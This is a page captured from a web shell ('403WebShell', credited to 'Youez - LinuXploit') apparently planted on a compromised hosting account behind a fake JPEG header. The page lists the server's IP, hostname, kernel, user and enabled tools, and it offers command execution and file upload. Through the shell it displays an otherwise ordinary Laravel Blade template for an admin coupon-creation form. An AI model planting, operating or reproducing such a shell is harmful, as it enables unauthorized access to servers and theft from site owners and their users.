����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.15.238.90
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/gle.gltechlimited.com/resources/views/admin/coupon/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/gle.gltechlimited.com/resources/views/admin/coupon/create.blade.php
@extends('layouts.master')
@section('title',__('Create Coupon'))
@section('breadcum')
  <div class="breadcrumbbar">
    <h4 class="page-title">{{ __('Create Coupon') }}</h4>
    <div class="breadcrumb-list">
        <ol class="breadcrumb">
          <li class="breadcrumb-item"><a href="{{url('/admin')}}" title="{{ __('Dashboard') }}">{{ __('Dashboard') }}</a></li>
          <li class="breadcrumb-item active" aria-current="page">{{ __('Create Coupon') }}</li>
        </ol>
    </div>   
  </div>
@endsection
@section('maincontent')
<div class="contentbar">
  <div class="row">
    @if ($errors->any())  
      <div class="alert alert-danger" role="alert">
        @foreach($errors->all() as $error)     
          <p>{{ $error}}<button type="button" class="close" data-dismiss="alert" aria-label="Close" title="{{ __('Close') }}">
          <span aria-hidden="true" style="color:red;">&times;</span></button></p>
        @endforeach  
       </div>
    @endif
    <div class="col-lg-12">
      <div class="card m-b-30">
        <div class="card-header">
          <a href="{{url('admin/coupons')}}" class="float-right btn btn-primary-rgba mr-2" title="{{ __('Back') }}"><i
            class="feather icon-arrow-left mr-2"></i>{{ __('Back') }}</a>
          <h5 class="box-title">{{__('Create Coupon')}}</h5>
        </div>
        <div class="card-body ml-2">
          {!! Form::open(['method' => 'POST', 'action' => 'CouponController@store']) !!}
            <div class="row">
              <div class="col-md-3">
                <div class="form-group{{ $errors->has('coupon_code') ? ' has-error' : '' }}">
                  {!! Form::label('coupon_code', __('Coupon Code')) !!}
                   <small class="badge badge-pill badge-secondary" data-toggle="tooltip" data-placement="top" title="" data-original-title="{{__('Please Enter Unique Coupon Code. In Capital Letters and Numbers')}} eg: SALE50">
                      <i class="fa fa-info"></i>
                  </small>                 
                  {!! Form::text('coupon_code', null, ['class' => 'form-control', 'required' => 'required', 'placeholder' => __('Please Enter Unique Coupon Code') ,'pattern'=>'[A-Za-z0-9]+','title'=>__('Please Do Not Use')]) !!}
                  <small class="text-danger">{{ $errors->first('coupon_code') }}</small>
                </div>

                @if(isset($config->stripe_payment) && $config->stripe_payment == '1')
                  @if(env('STRIPE_KEY') != NULL && env('STRIPE_SECRET') != NULL)
                    <div class="bootstrap-checkbox {{ $errors->has('in_stripe') ? ' has-error' : '' }}">
                      <div class="row">
                        <div class="col-md-7">
                          <h6>{{__('Use For Stripe')}} ?</h6>
                        </div>
                        <div class="col-md-5 pad-0">
                          <div class="make-switch">
                            <label class="switch">
                              <input type="checkbox" name="in_stripe" checked="" class="checkbox-switch">
                              <span class="slider round"></span>
                            </label>
                          </div>
                        </div>
                      </div>
                      <div class="col-md-12">
                        <small class="text-danger">{{ $errors->first('in_stripe') }}</small>
                      </div>
                    </div><br/>
                  @endif
                @endif
                </div>
                <div class="col-md-3">
                  <div class="form-group{{ $errors->has('redeem_by') ? ' has-error' : '' }}">
                  {!! Form::label('redeem_by',__('Valid Upto')) !!}
                  <small class="badge badge-pill badge-secondary" data-toggle="tooltip" data-placement="top" title="" data-original-title="{{__('Please Enter Coupon Validate Upto Or Expiry Date.')}}">
                      <i class="fa fa-info"></i>
                  </small>
                  
                  {!! Form::date('redeem_by', null, ['class' => 'form-control', 'placeholder' => '']) !!}
                  <small class="text-danger">{{ $errors->first('redeem_by') }}</small>
                  </div>
                </div>
                <div class="col-md-3">
                  {!! Form::hidden('currency', $currency_code) !!}
                  <div class="form-group{{ $errors->has('duration') ? ' has-error' : '' }}">
                    {!! Form::label('duration',__('Duration')) !!}
                    <small class="badge badge-pill badge-secondary" data-toggle="tooltip" data-placement="top" title="" data-original-title="{{__('Please Select Coupon Duration.')}}">
                        <i class="fa fa-info"></i>
                    </small>                 
                    
                    {!! Form::select('duration', ['once'=>__('Once'), 'repeating' =>__('Repeating'), 'forever' => __('Forever')], null, ['class' => 'form-control select2', 'required' => 'required']) !!}
                    <small class="text-danger">{{ $errors->first('duration') }}</small>
                  </div>  
                </div>
                <div class="col-md-3">
                  <div id="coupon_month_duration" class="form-group{{ $errors->has('duration_in_months') ? ' has-error' : '' }}">
                    {!! Form::label('duration_in_months', __('Duration In Months')) !!}
                    <small class="badge badge-pill badge-secondary" data-toggle="tooltip" data-placement="top" title="" data-original-title="{{__('Please Enter Coupon Duration For Number of Months.')}}">
                        <i class="fa fa-info"></i>
                    </small>
                    
                    {!! Form::number('duration_in_months', 1, ['class' => 'form-control', 'min' => 0]) !!}
                    <small class="text-danger">{{ $errors->first('duration_in_months') }}</small>
                  </div>
  
                  <div class="form-group{{ $errors->has('max_redemptions') ? ' has-error' : '' }}">
                    {!! Form::label('max_redemptions', __('Max Redemptions')) !!}
                    <small class="badge badge-pill badge-secondary" data-toggle="tooltip" data-placement="top" title="" data-original-title="{{__('Please Enter Total Coupon Use Count.')}}">
                        <i class="fa fa-info"></i>
                    </small>
                  
                    {!! Form::number('max_redemptions', 1, ['class' => 'form-control', 'min' => 0, 'required' => 'required']) !!}
                    <small class="text-danger">{{ $errors->first('max_redemptions') }}</small>
                  </div>
                </div>
                <div class="col-md-6">
                  <div class="bootstrap-checkbox {{ $errors->has('percent_check') ? ' has-error' : '' }}">
                    <div class="row">
                      <div class="col-md-7">
                        {!! Form::label('discount',__('Discount in : Amount/Percent  (%)')) !!}
                      </div>
                      <div class="col-md-5 pad-0 text-right">
                        <div class="make-switch">
                          {!! Form::checkbox('percent_check', 1, 1, ['class' => 'bootswitch', "data-on-text"=>__('Percent Off'), "data-off-text"=>__('Amount Off'), "data-size"=>"small"]) !!}
                        </div>
                      </div>
                    </div>
                    <div class="col-md-12">
                      <small class="text-danger">{{ $errors->first('percent_check') }}</small>
                    </div>
                  </div>
                  <div class="form-group{{ $errors->has('amount') ? ' has-error' : '' }}">
                    {!! Form::number('amount', 1, ['class' => 'form-control selection-input', 'min' => 0]) !!}
                    <small class="text-danger">{{ $errors->first('amount') }}</small>
                  </div>     
                </div>     
                <div class="col-md-12 mt-4">
              
                  <div class="form-group">
                    <button type="reset" class="btn btn-success-rgba" title="{{__('Reset')}}">{{__('Reset')}}</button>
                    <button type="submit" class="btn btn-primary-rgba" title=" {{ __('Create') }}"><i class="fa fa-check-circle"></i>
                      {{ __('Create') }}</button>
                  </div>
                </div>
                {!! Form::close() !!}
           </div>
      </div>
    </div>
  </div>
</div>
@endsection 
@section('script')
<script>
  // Duration In Repeating (Show Duration In Months)  
  $("input[name='duration_in_months']").parent().hide();
  $("select[name='duration']").on('change',function(){
    if(this.value === 'repeating'){
      $("input[name='duration_in_months']").parent().fadeIn();
    }
    else {
      $("input[name='duration_in_months']").parent().fadeOut();
    }
  });
</script>
<script>
  (function($){
    $.noConflict();    
  })(jQuery);    
</script>  
@endsection

Youez - 2016 - github.com/yon3zu
LinuXploit